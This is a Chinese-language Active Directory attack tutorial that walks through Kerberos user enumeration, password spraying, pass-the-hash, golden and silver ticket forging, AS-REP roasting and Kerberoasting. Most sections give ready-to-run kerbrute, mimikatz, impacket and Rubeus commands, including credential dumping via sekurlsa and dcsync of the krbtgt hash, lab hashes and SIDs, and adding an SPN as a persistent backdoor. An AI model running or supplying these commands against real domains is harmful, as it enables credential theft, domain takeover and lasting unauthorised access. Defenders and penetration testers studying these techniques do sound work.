0x01 用户枚举、密码喷洒
原理分析
在Kerberos认证的AS_REQ阶段,客户端向AS服务发起认证请求,AS根据请求中的用户名、密码字段给客户端不同的响应。根据不同的响应特征可以实施用户枚举和密码喷洒攻击。
该阶段的攻击可在域外或域内,只要我们能够访问域控制器的88端口(Kerberos服务)即可。
攻击方法
kerbrute
https://github.com/ropnop/kerbrute/
枚举用户
域外
kerbrute_windows_amd64.exe userenum --dc 192.168.40.132 -d spanning-tree user.txt
域内(在域内可不指定dc ip)
kerbrute_windows_amd64.exe userenum -d spanning-tree.org user.txt
kerbrute 密码喷洒
默认情况下域用户不锁定的,锁定策略需要手动开启。
kerbrute_windows_amd64.exe userenum -d spanning-tree.org user.txt 123456
TIPS:在域外进行密码喷洒的时候域控时间和外部时间不一致,或者时差相差太多会导致无法喷洒成功。
这种情况是因为Kerberos在多数认证过程中都会校验时间,如果相差太多就直接终止认证。
pykerbrute
枚举用户
https://github.com/3gstudent/pyKerbrute
EnumADUser.py 192.168.40.132 spanning-tree.org user.txt tcp
pykerbrute 密码喷洒
该工具可以针对mtlnhash进行密码喷洒
ADPwdSpray.py 192.168.1.1 spanning-tree.org user.txt clearpassword DomainUser123! tcp
ADPwdSpray.py 192.168.1.1 spanning-tree.org user.txt ntlmhash e00045bd566a1b74386f5c1e3612921b udp
0x02 哈希传递
原理分析
在kerberos认证过程中用户的认证信息是使用用户的hash进行加密后发送的,当AS接收到用户的凭证时候,AS存有用户的hash可以解密。
所以我们可以在第一阶段认证的时候使用用户的hash
攻击方法
因为UAC的影响,在工作组环境中只有rid为500的域用户才可以PTH;在域环境中在域管组才可以PTH。
mimikatz
使用此方法必须具备本地管理员权限,所以在域内几乎无法使用mimikatz
privilege::debug
mimikatz # sekurlsa::pth user:zhangsan domain:spanning-tree.org ntlm:594ba03f9dd6874f8cee671c26e31a2a
impacket
python3 wmiexec.py spanning-tree.org/administrator@192.168.40.132 -hashes aad3b435b51404eeaad3b435b51404ee:85a99f6f97db22fe110bfb0961b2d805
等
0x03 黄金票据
原理分析
在Kerberos认证的AS_REQ阶段,用户认证成功后会返回TGT票据;TGT票据的签发是通过krbtgt hash进行加密。
当我们获取到krbtgt用户的hash时就可以任意的签发TGT票据,并且在伪造的20分钟内不会校验真伪。
攻击方法
mimikatz
导出krbtgt用户hash
privilege::debug
lsadump::dcsync domain:spanning-tree.org user:krbtgt
SID:S-1-5-21-3269375421-181298905-1254561410-502
Hash NTLM: 257161ba130cf9f543509f4f14f25f40
aes256_hmac:b6edb81920356c9e165b7844ea5152be8153fad6e2b9b3b6a17aac1af14b0457
生成黄金票据
kerberos::golden domain:spanning-tree.org admin:administrator sid:S-1-5-21-3269375421-181298905-1254561410 krbtgt:257161ba130cf9f543509f4f14f25f40 ticket:administrator.kiribi
将票据注入内存中
kerberos::ptt administrator.kiribi
kerberos::tgt
在域外如果要对域控进行攻击需要将DNS指向域内DNS服务器,且注入的令牌只在管理员权限下才能调用。
impacket
python3 ticket.py -nthash 257161ba130cf9f543509f4f14f25f40 -domain-sid S-1-5-21-3269375421-181298905-1254561410 -domain spanning-tree.org administrator
设置环境变量
Windows:
set KRB5CCNAME=C:\Users\Administrator\Desktop\impacket-0.9.24\\examples\\administrator.ccache
Linux:
export KRB5CCNAME=/home/user/ticket.ccache
cat $KRB5CCNAME
检测是否成功
python3 wmiexec.py spanning-tree.org/administrator@WIN-SJD97LJQLJP -k -no-pass
利用impacket工具包生成的黄金票据无法通过net use建立IPC连接,但是可以通过impacket系列工具执行命令,其hostname名称可以通过ping -a IP进行解析。
xxxx.py domain/username@hostname -k -no-pass
0x04 AS-Roasting
原理分析
如果域用户关闭的“预身份验证”,攻击者将以任意用户请求TGT票据而KDC并不会做验证,攻击者就会得到TGT票据和用户hash加密的session_key。
攻击这可针对hash加密的session_key进行破解,如果破解成功攻击者可以获取用户的明文密码。
攻击方法
使用Rubeus自动查找所有不需要预身份验证的帐户,并提取脱机破解所需的加密 TGT 数据。
Rubeus.exe asreproast /format:hashcat /outfile:C:\Users\lisi\Desktop\1.txt
随后使用针对保存的hash进行离线破解即可。
0x05 白银票据
原理分析
在Kerberos认证的第二个阶段,用户拿着TGT票据向服务请求签发TGS票据。
TGS票据是通过服务的hash进行加密的,如果攻击者获取到服务的hash值那么就可以签发任意用户的对应TGS票据。
攻击方法
mimikatz
使用白银票据伪造LDAP服务权限获取服务账号的NTLM哈希
privilege::debug
sekurlsa::logonPasswords
NTLM: 325b92ac27746315a7caf8fba0b71c3f
当前权限无法使用dcsync与域控进行同步
lsadump::dcsync /dc:WIN-SJD97LJQLJP.spanning-tree.org /domain:spanning-tree.org /user:krbtgt
伪造白银票据获取LDAP访问权限
kerberos::golden /domain:spanning-tree.org /sid:S-1-5-21-3269375421-181298905-1254561410 /target:WIN-SJD97LJQLJP.spanning-tree.org /service:LDAP /rc4:325b92ac27746315a7caf8fba0b71c3f /user:Administrator /ptt
impacket
伪造白银票据获取LDAP权限
python3 ticketer.py -nthash 325b92ac27746315a7caf8fba0b71c3f -domain-sid S-1-5-21-3269375421-181298905-1254561410 -domain spanning-tree.org -dc WIN-SJD97LJQLJP.spanning-tree.org -spn ldap/WIN-SJD97LJQLJP.spanning-tree.org silver
0x06 Kerberosoast攻击
原理分析
出现该攻击因为TGS_REQ阶段用户发送TGT票据,服务不管是否有权限均返回ST票据;
ST票据是由服务的hash进行加密,所以可以针对ST票据的哈希进行破解进而获取服务的明文密码。
攻击方法
使用Rubeus去寻找高权限的域账户,并未发现。
这里手动给域账户添加SPN服务(需要域管权限),可用作后门。
setspn -U -A VNC/DESKTOP-FQBK8L8.spanning-tree.org lisi
我们再次使用Rubeus可发现lisi域账户注册SPN服务
Rubeus.exe kerberoast /format:hashcat /outfile:C:\Users\administrator\Desktop\1.txt
获取其ST票据后,可使用hastcat进行加密。
针对高权限账户可注册SPN服务,这样我们就可以随时获取该用户的ST票据进行破解。